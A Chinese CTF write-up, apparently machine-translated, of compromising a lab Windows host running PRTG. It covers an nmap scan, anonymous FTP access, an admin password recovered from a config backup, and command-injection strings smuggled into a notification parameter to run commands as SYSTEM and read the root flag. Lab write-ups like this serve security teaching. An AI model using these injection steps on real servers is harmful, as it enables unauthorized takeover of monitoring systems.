废话不多说直接执行Nmap扫描的第一步是查看计算机正在运行的服务类型:
nmap -p- -sV -O 10.10.10.152
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-24 10:55 UTC
Nmap scan report for ip-10-10-10-152.eu-west-2.compute.internal (10.10.10.152)
Host is up (0.016s latency).
Not shown: 65521 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
49681/tcp open msrpc Microsoft Windows RPC
49691/tcp open msrpc Microsoft Windows RPC
51061/tcp open tcpwrapped
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 108.04 seconds
扫描结果中最突出的是端口80上的HTTP和端口21上的FTP。我首先浏览到端口80,并看到Paessler PRTG的登录页面。这是监视设备并报告其状态(占用时间,CPU使用率,磁盘空间使用情况等)的软件。
我不幸的是,一直没有用。就目前而言,这是我可以的PRTG。我决定将目标转向FTP端口。
我连接到FTP,发现它接受匿名连接。
ncftp 10.10.10.152
NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/).
Connecting to 10.10.10.152…
Microsoft FTP Service
Logging in…
User logged in.
Logged in to 10.10.10.152.
ncftp / > dir -A
11-20-16 10:46PM $RECYCLE.BIN
02-03-19 12:18AM 1024 .rnd
11-20-16 09:59PM 389408 bootmgr
07-16-16 09:10AM 1 BOOTNXT
02-03-19 08:05AM Documents and Settings
02-25-19 10:15PM inetpub
04-24-19 06:49AM 738197504 pagefile.sys
07-16-16 09:18AM PerfLogs
02-25-19 10:56PM Program Files
02-03-19 12:28AM Program Files (x86)
02-25-19 10:56PM ProgramData
02-03-19 08:05AM Recovery
02-03-19 08:04AM System Volume Information
02-03-19 08:08AM Users
02-25-19 11:49PM Windows
我浏览到公用文件夹以查看是否可以访问用户标志。
ncftp / > cd Users/Public/
ncftp /Users/Public > cat user.txt
[REDACTED]
这可能是我发现的最简单的用户标记之一。我尝试对根标志执行相同的操作,但没有那么多运气。
ncftp / > cd Users/Administrator/
Could not chdir to Users/Administrator/: server said: Access is denied.
我决定尝试查找PRTG的某些副本,刹车可以登录到Web尖端。PRTG的较旧版本中存在一个漏洞,其中PRTG请求运行其传感器软件的设备替换存储在PRTG配置文件中,没有任何形式的加密。继续寻找并尝试找到此配置文件。通过FTP,我导航到通常存储配置文件的位置。
ncftp / > cd "/ProgramData/Paessler/PRTG Network Monitor"
ncftp ...r/PRTG Network Monitor > dir -A
04-24-19 06:53AM <DIR> Configuration Auto-Backups
04-24-19 06:51AM <DIR> Log Database
02-03-19 12:18AM <DIR> Logs (Debug)
02-03-19 12:18AM <DIR> Logs (Sensors)
02-03-19 12:18AM <DIR> Logs (System)
04-24-19 06:51AM <DIR> Logs (Web Server)
04-24-19 06:56AM <DIR> Monitoring Database
04-24-19 07:15AM 1255809 PRTG Configuration.dat
04-24-19 06:53AM 1197689 PRTG Configuration.old
07-14-18 03:13AM 1153755 PRTG Configuration.old.bak
04-24-19 06:52AM 1647609 PRTG Graph Data Cache.dat
02-25-19 11:00PM <DIR> Report PDFs
02-03-19 12:18AM <DIR> System Information Database
02-03-19 12:40AM <DIR> Ticket Database
02-03-19 12:18AM <DIR> ToDo Database
ncftp ...r/PRTG Network Monitor >
从输出中可以看到。有3个PRTG配置文件。我下载了所有文件,并逐一检查了每个文件,以查看其中是否存储了任何替换。
但是两个PRTG Configuration.old.bak未加密,并包含Web接口的密码。
<dbcredentials>
0
</dbcredentials>
<dbpassword>
<!-- User: prtgadmin -->
PrTg@dmin2018
</dbpassword>
<dbtimeout>
60
</dbtimeout>
我厌倦了使用这些临时登录,但无法正常工作。经过一番尝试和错误后,我发现只需将密码修改为PrTg @ dmin2019而不是2018就可以登录。接下来是尝试升级我的权限,以允许我访问管理员目录并获取root标志。
我在Google上进行了一些搜索,发现机器上使用的PRTG版本容易受到命令注入入侵的攻击。在这里可以找到更详细的描述。
工作方式。PRTG本质上监视着不同设备的状态。一旦达到某个状态,就可以将其配置为执行各种任务,包括发送电子邮件,发送短信,执行脚本等。例如,当服务器发生故障时,它可以用于向管理员的电子邮件地址发送警告消息,刹车管理员进行调查。命令注入通过执行脚本通知函数。设备达到特定状态后,可以将PRTG配置为运行脚本。
无法通过Web接口添加脚本。它们需要上载到服务器的C:/程序文件(x86)/ PRTG网络监视器/自定义传感器/ EXE /目录。然后可以通过PRTG Web接口将其选择为自定义通知。
我试图通过FTP上载反向Powershell脚本到此目录,但是很遗憾,我没有拥有所需的特权。
ncftp ...tor/Custom Sensors/EXE > put rev.ps1
put rev.ps1: server said: Access is denied.
在上面的链接中发现的命令注入发现该目录中已经存储了两个样式脚本。您可以在PRTG Web接口中包含要运行的脚本的参数。这些参数根本没有清除,或者直接传递到powershell中。由于PRTG在系统帐户下运行,因此作为参数传递的任何命令都将作为系统运行。我决定通过在参数输入中输入以下命令来进行进行测试:
test.txt;tree /f c:\Users\Administrator > c:\output.txt
我保存了此通知模板,然后需要将其添加到设备中以重置运行。我打开DNS ping传感器,因为它总是失败。
该通知已添加到传感器,并配置为在设备关闭60秒后运行。由于传感器始终处于关闭状态,这意味着通知将立即运行。将通知保存到传感器后,我通过FTP浏览到C:的根目录,以查看我的文件是否存在以及代码是否成功运行。
ncftp 10.10.10.152
NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/).
Connecting to 10.10.10.152...
Microsoft FTP Service
Logging in...
User logged in.
Logged in to 10.10.10.152.
ncftp / > dir -A
11-20-16 10:46PM <DIR> $RECYCLE.BIN
02-03-19 12:18AM 1024 .rnd
11-20-16 09:59PM 389408 bootmgr
07-16-16 09:10AM 1 BOOTNXT
02-03-19 08:05AM <DIR> Documents and Settings
02-25-19 10:15PM <DIR> inetpub
04-24-19 12:58PM 1402 output.txt
04-24-19 07:24AM 738197504 pagefile.sys
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
02-25-19 10:56PM <DIR> ProgramData
02-03-19 08:05AM <DIR> Recovery
02-03-19 08:04AM <DIR> System Volume Information
02-03-19 08:08AM <DIR> Users
02-25-19 11:49PM <DIR> Windows
ncftp / >
如您所见,该代码看起来已成功运行。有一个名为output.txt的文件,当我下载并查看它时,将成功显示管理员文件夹的目录结构。
cat output.txt
Folder PATH listing
Volume serial number is 00000200 684B:9CE8
C:\USERS\ADMINISTRATOR
├───Contacts
├───Desktop
│ root.txt
│
├───Documents
├───Downloads
├───Favorites
├───Links
├───Music
├───Pictures
├───Saved Games
├───Searches
└───Videos
从此输出中,我们可以看到所需的root.txt标志的正确位置。知道我们现在可以以系统用户身份运行代码。我创建最后一个PRTG通知以获取root.txt的内容使其复制到根目录,,骑士我可以重新读取它。我通过更改参数变量来执行此操作,因此它运行命令“ more root.txt”的转换通过管道传递到根目录,而不是运行tree命令。完整的命令是:
test.txt;more c:\Users\Administrator\Desktop\root.txt > c:\output.txt
我重复使用新命令描述的步骤,并等待output.txt文件被更新。更新后,我将下载新的output.txt文件并查看内容。
root@kali:~/Documents/netmon# cat output.txt
[REDACTED]
关注:Hunter网络安全 获取更多资讯
网站:bbs.kylzrv.com
CTF团队:Hunter网络安全
文章:Xtrato
排版:Hunter-匿名者